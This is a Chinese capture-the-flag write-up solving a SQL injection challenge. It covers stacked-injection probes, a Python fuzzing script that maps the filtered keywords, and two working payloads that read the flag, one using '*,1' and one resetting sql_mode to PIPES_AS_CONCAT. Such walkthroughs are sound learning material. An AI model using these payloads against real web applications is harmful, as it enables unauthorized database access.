这题打开就是一个输入并说能帮我判断输入的flag的对错
然后想到[强网杯 2019]随便注跟这个题长得很像,是使用的堆叠注入
那么就试一下堆叠注入
1;show tables;
Array ( [0] => 1 ) Array ( [0] => Flag )
可是输入1;show columns from Flag查询表格内容的时候竟然出现Nonono.
那就索性fuzz查一下都哪些词被过滤了
import requests
url = "http://0f2d22cb-56bf-4239-8e1c-1deb288bac41.node4.buuoj.cn:81/"
with open('sql-fuzz.txt') as f:
for line in f:
data = {"query": line}
r = requests.post(url,data=data)
if('Nonono' in r.text):
print(line.strip(),end=" ")
发现这么多都被过滤了
handler like sleep delete or insert & && handler INFORMATION xor AND CREATE " union oorr
anandd IF sleep LIKE infromation_schema OR ORDER ORD UPDATE WHERE AND prepare update
delete drop CREATE DELETE DROP floor rand() information_schema.tables ORD extractvalue
order ORDER OUTFILE updatexml format ord UPDATE WHERE for BEFORE REGEXP RLIKE SEPARATOR
XOR CURSOR FLOOR from flag Flag
好 我不会了
参考其他师傅的wp:
输入1
Array ( [0] => 1 )
输入0或者其他字母均没有回显
输入上面过滤的字符会显示Nonono.
综上,可以猜测后台的SQL语句
select $_GET['query'] || flag from Flag
||的特点是如果前面为真,后面就不会执行,那么我们传入*,1之后语句就会变成select *,1 from Flag,而1会在表添加一列1,所以得到flag
本地测试确实如此,因为1为真,所以就不会看2,所以最后一列是1
第二种方法是操作符重置法
set sql_mode=PIPES_AS_CONCAT;
-- 将||视为字符串的连接操作符而非或运算符
所以payload为
1;set sql_mode=PIPES_AS_CONCAT;select 1
均可得到flag